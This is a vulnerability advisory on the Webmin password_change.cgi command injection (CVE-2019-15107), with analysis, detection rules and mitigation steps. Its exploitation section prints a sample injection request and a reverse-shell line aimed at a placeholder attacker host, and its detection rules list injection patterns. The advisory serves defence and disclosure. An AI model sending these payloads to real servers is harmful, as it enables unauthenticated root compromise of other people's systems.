CVE-2019-15107

Executive Summary

CVE-2019-15107 is a critical command injection vulnerability in Webmin versions up to and including 1.920, specifically in the password_change.cgi endpoint. An unauthenticated remote attacker can execute arbitrary operating system commands with root privileges on the underlying server, leading to complete system compromise. The vulnerability was exploited in the wild within days of public disclosure and is listed on CISA's Known Exploited Vulnerabilities catalog, making it a high-priority remediation target for any organization running the affected Webmin versions.

Technical Analysis

The vulnerability resides in the password_change.cgi script, part of Webmin's password change module. The script accepts user-supplied input via the old parameter, which is meant to contain the user's current password during a password rotation. Due to improper input sanitization, the value of old is passed to a shell-based command execution function without adequate escaping or validation.

Examining the vulnerable code path, the password_change.cgi script constructs a command string that includes the old parameter directly. When Webmin's CGI execution environment calls system() or an equivalent shell execution routine with this concatenated string, an attacker can inject arbitrary shell metacharacters such as ;, |, &&, or backticks to append their own commands. The injection occurs before authentication completes, meaning the attacker does not need valid credentials or access to an established session.

The attack surface is significant. Webmin runs an HTTP/HTTPS listener on TCP port 10000 by default, and many installations expose this port to the internet for remote administrative access. The endpoint password_change.cgi is accessible without authentication in vulnerable versions because the check for a valid session is performed after the password-change logic executes or is entirely skipped in certain configurations. Any server with Webmin 1.920 or earlier and port 10000 reachable is directly exploitable. The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H confirms this is a low-complexity, unauthenticated attack requiring no user interaction and no privileges, with total confidentiality, integrity, and availability impact.

A notable aspect is that the vulnerability is trivially exploitable with a simple HTTP POST request, making automated mass exploitation feasible. Public exploit code was released within hours of the CVE's publication, and the EPSS score of 0.99766 (99.8th percentile) demonstrates an extremely high probability of exploitation in the wild.

Exploitation Scenarios

The attack chain for CVE-2019-15107 is straightforward and does not require authentication:

1. Reconnaissance: An attacker identifies a target running Webmin, typically by scanning for open port 10000 with tools like Shodan or Nmap. The login page title "Login to Webmin" and product banner are reliable indicators.

2. Crafting the HTTP Request: The attacker sends a POST request to the /password_change.cgi endpoint. The request contains a old parameter appended with a command injection payload. A representative payload is:

   POST /password_change.cgi HTTP/1.1
   Host: target:10000
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 45
   
   old=test|id&new1=test&new2=test
   

   The pipe character (|) causes the id command to execute after the malformed old value is passed to the shell.

3. Command Execution: If the server is vulnerable, the injected command executes with root privileges. Common first commands include id, whoami, or a reverse shell payload such as bash -i >& /dev/tcp/ATTACKER/4444 0>&1.

4. Post-Exploitation: Once the attacker confirms command execution, they typically escalate to deploying a persistent reverse shell, creating a new user account with root privileges, or installing a web shell for covert access. Given root execution, full server compromise is achieved.

Public exploit code exists (Python and Bash scripts) that automates the exploitation process. While a Nuclei template is not available, the manual PoC is widely distributed across exploit databases and GitHub. Metasploit also included a module for this vulnerability, lowering the skill barrier for exploitation.

Impact Assessment

The business impact of CVE-2019-15107 is catastrophic for affected deployments. The CVSS base score of 9.8 is earned through a perfect combination of network exploitability, zero privileges required, and complete impact on all three security triad pillars (C:0, I:0, A:0 in the subscores—confidentiality, integrity, and availability all rated HIGH).

Affected systems are primarily Linux/Unix servers running Webmin as a web-based system administration tool. This includes:

• Web hosting environments where Webmin manages accounts, virtual hosts, and DNS.
• Enterprise server management where admins use Webmin for routine maintenance.
• Network appliances and IoT devices that embed Webmin for local configuration interfaces.
• Colocation and dedicated server providers offering Webmin as a customer control panel.

The blast radius extends beyond the Webmin process itself. Because Webmin runs with root privileges to perform administrative tasks, command injection results in root compromise of the host operating system. An attacker can then pivot laterally into the internal network, exfiltrate sensitive data, install ransomware, or use the compromised server as a launchpad for further attacks. Even if the compromised host is isolated, the attacker gains full control over any services, databases, or applications running on it.

The EPSS score of 0.99766 means this vulnerability is nearly universally expected to be exploited. Combined with CISA KEV listing, federal and critical infrastructure organizations face mandatory remediation timelines. For enterprises, the practical impact is a race against opportunistic botnets and targeted threat actors that both began scanning for vulnerable Webmin instances within hours of the CVE's release.

Detection Guidance

The following detection rules are designed to identify exploitation attempts for CVE-2019-15107. They focus on the distinctive HTTP POST to password_change.cgi containing shell metacharacters in the old parameter.

Sigma Rule

title: Webmin CVE-2019-15107 Command Injection Attempt
id: 4f8a2c1e-9b87-4e3a-9d2f-7d9b05a1c3e2
status: test
description: Detects POST requests to password_change.cgi containing shell metacharacters in the old parameter, indicative of CVE-2019-15107 exploitation
author: ValtersIT Threat Intelligence
date: 2024/01/15
logsource:
  category: webserver
  product: apache
  detection:
    selection:
      cs-method: 'POST'
      cs-uri-path: '/password_change.cgi'
      cs-uri-query|contains:
        - 'old=*|'
        - 'old=*;'
        - 'old=*&&'
        - 'old=*`'
        - 'old=$(('
    condition: selection
  falsepositives:
    - Legitimate password change requests with unusual passwords containing pipe characters (extremely rare)
  level: critical
  tags:
    - attack.initial_access
    - attack.t1190
    - cve.2019-15107

YARA Rule

rule Webmin_CVE_2019_15107_Command_Injection
{
    meta:
        author = "ValtersIT Threat Intelligence"
        description = "Detects HTTP POST payloads targeting password_change.cgi with command injection patterns for CVE-2019-15107"
        date = "2024-01-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2019-15107"
        severity = "critical"
    strings:
        $endpoint = "password_change.cgi" ascii wide nocase
        $param = "old=" ascii wide nocase
        $pipe = "|" ascii
        $semicolon = ";" ascii
        $andand = "&&" ascii
        $backtick = "`" ascii
        $subshell = "$(" ascii
        $cmd1 = "id" ascii wide nocase
        $cmd2 = "whoami" ascii wide nocase
        $cmd3 = "cat /etc/passwd" ascii wide nocase
        $cmd4 = "bash -i" ascii wide nocase
        $cmd5 = "/bin/sh" ascii wide nocase
    condition:
        $endpoint and $param and 1 of ($pipe, $semicolon, $andand, $backtick, $subshell) and 1 of ($cmd1, $cmd2, $cmd3, $cmd4, $cmd5)
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"ET EXPLOIT Webmin CVE-2019-15107 password_change.cgi Command Injection Attempt";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/password_change.cgi";
    http.request_body; content:"old=";
    http.request_body; pcre:"/old\s*=\s*[^&]*\x3b|\x7c|\x26\x26|\x60|\x28\x24/i";
    sid:2024013;
    rev:1;
    metadata:attack_target_server, deployment_perimeter, cve2019_15107, signature_severity_critical;
    reference:cve,2019-15107;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2019-15107;
    classtype:web-application-attack;
)

Elastic Detection

sequence by source.ip, destination.ip, destination.port with maxspan=5m
  [network where event.category == "network_traffic" and destination.port == 10000 and
   network.protocol == "http" and event.outcome == "success"]
  [http where http.request.method == "POST" and http.request.body.text : "*password_change.cgi*" and
   http.request.body.text : "old=*" and
   (http.request.body.text : "*;*" or http.request.body.text : "*|*" or
    http.request.body.text : "*&&*" or http.request.body.text : "*`*" or http.request.body.text : "*$(*")]

Splunk SPL Query

index=web OR index=proxy sourcetype=iis OR sourcetype=apache OR sourcetype=nginx
| search method="POST" uri_path="/password_change.cgi"
| rex field=uri_query "old=(?<old_param>[^&]+)"
| where old_param LIKE "%|%" OR old_param LIKE "%;%" OR old_param LIKE "%&&%" OR old_param LIKE "%`%" OR old_param LIKE "%$("
| eval threat_severity="critical"
| table _time, src_ip, dest_ip, uri_path, old_param, threat_severity
| sort -_time

Wazuh OSSEC Rule

<group name="webmin,">
  <rule id="100501" level="15">
    <decoded>password_change.cgi</decoded>
    <match>old=</match>
    <regex>old\s*=\s*[^&]*(\||;|&&|`|\$\(</regex>
    <description>Webmin CVE-2019-15107 command injection attempt detected in password_change.cgi</description>
    <group>vulnerability,exploit,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — The patch is claimed by a single source (NVD) to be fixed in Webmin 1.930. No independent verification from the vendor advisory or third-party researchers was found. This uncertainty means organizations should not rely solely on patching; they must implement additional mitigations.

1. Immediate Mitigations (implement within 24 hours):

   • Restrict access to Webmin's administrative port (10000) at the firewall level. Allow only trusted IP ranges or VPN endpoints.
   • Disable the password change module if not actively used by modifying Webmin's module configuration.
   • Deploy a WAF (Web Application Firewall) rule blocking POST requests to /password_change.cgi with shell metacharacters in the old parameter.
   • If Webmin cannot be immediately updated, consider temporarily shutting down the Webmin service or isolating the host from the network.

2. Patch/Upgrade Steps:

   • Upgrade Webmin to version 1.930 or later from the official Webmin repository.
   • Verify the patch by testing a local POST to /password_change.cgi with a benign payload (e.g., old=test|id) and confirming no command output is returned.
   • Because patch confidence is 2/4, treat the upgrade as a necessary but insufficient step. Re-audit the endpoint after patching. If uncertain about the fix's effectiveness, consider transitioning to an alternative server management solution.

3. Long-Term Hardening:

   • Run Webmin behind a reverse proxy with mandatory client certificate authentication.
   • Enable multi-factor authentication (MFA) for all Webmin accounts.
   • Monitor CISA KEV and vendor advisories for updates on this CVE.
   • Implement network segmentation so administrative interfaces are not reachable from general internet-facing zones.
   • Establish a patching SLA for internet-exposed management tools, prioritizing CVEs with high EPSS scores.

References

CVE-2019-15107 was publicly disclosed on August 10, 2019, with exploit code released the same day. Within 24-48 hours, multiple scanning campaigns were observed in the wild targeting internet-exposed Webmin instances. Chinese-speaking threat actors were among the first to mass-exploit the vulnerability, deploying coin miners and DDoS bots on compromised hosts. The vulnerability was also incorporated into various botnet frameworks, including Mirai variants, demonstrating its attractiveness for large-scale automated exploitation.

CISA's Known Exploited Vulnerabilities (KEV) catalog includes CVE-2019-15107 with a remediation deadline of April 15, 2022. Federal civilian executive branch (FCEB) agencies were required to patch by this date. This KEV listing is a strong indicator of confirmed, observed exploitation. The EPSS score of 0.99766 places this CVE in the top percentile of all known vulnerabilities, meaning it is among the most likely to be exploited at any given time.

While the primary exploitation wave occurred in 2019, the vulnerability remains relevant. A significant number of Webmin installations, particularly on legacy devices and in developing regions, remain unpatched. Scanning data from services like Shodan continue to show thousands of Webmin instances listening on port 10000 that have not been updated to version 1.930. Threat actors, including ransomware groups, periodically re-scan for this vulnerability as part of their initial access toolkits. The combination of a trivial exploit, root-level access, and a large residual attack surface makes CVE-2019-15107 a persistent threat even years after disclosure. Security teams should treat any unpatched Webmin instance as a critical risk requiring immediate remediation.

References

1. NVD — CVE-2019-15107 Details: https://nvd.nist.gov/vuln/detail/CVE-2019-15107
2. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
3. Webmin Release Notes (Version 1.930): https://www.webmin.com/changes.html
4. Metasploit Module for CVE-2019-15107: https://www.rapid7.com/db/modules/exploit/unix/webapp/webmin_password_change_cgi/
5. FIRST EPSS Score for CVE-2019-15107: https://www.first.org/epss/search?cve=CVE-2019-15107